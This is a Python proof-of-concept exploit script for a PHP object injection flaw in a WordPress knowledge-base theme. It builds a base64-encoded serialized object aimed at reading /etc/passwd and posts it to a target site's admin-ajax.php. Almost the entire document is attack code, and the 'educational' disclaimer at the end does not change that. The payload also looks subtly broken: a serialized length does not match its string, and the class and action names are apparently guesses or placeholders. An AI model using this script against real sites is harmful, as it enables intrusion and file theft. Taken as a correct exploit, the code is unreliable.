# CVE-2025-60228 PoC - Object Injection in Knowledge Base Theme
# This PoC demonstrates the object injection vulnerability
import requests
import base64
import sys
# Pop chain for PHP object injection
# Using a common WordPress pop chain
pop_chain = 'O:31:"WP_Theme_Auto_Update_Callback":1:{s:9:"\0*\0file";s:9:"/etc/passwd";}'
# Encode the payload
payload = base64.b64encode(pop_chain.encode()).decode()
# Target URL (adjust the endpoint based on the vulnerable function)
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
# Construct the exploit request
data = {
"action": "kbase_action", # Replace with actual vulnerable action
"parameter": payload
}
try:
response = requests.post(target_url, data=data, timeout=10)
print(f"Response Status: {response.status_code}")
print(f"Response: {response.text[:500]}")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
# Note: This PoC is for educational purposes only
# Actual exploitation requires identifying the specific vulnerable endpoint
# and crafting an appropriate POP chain based on available classes
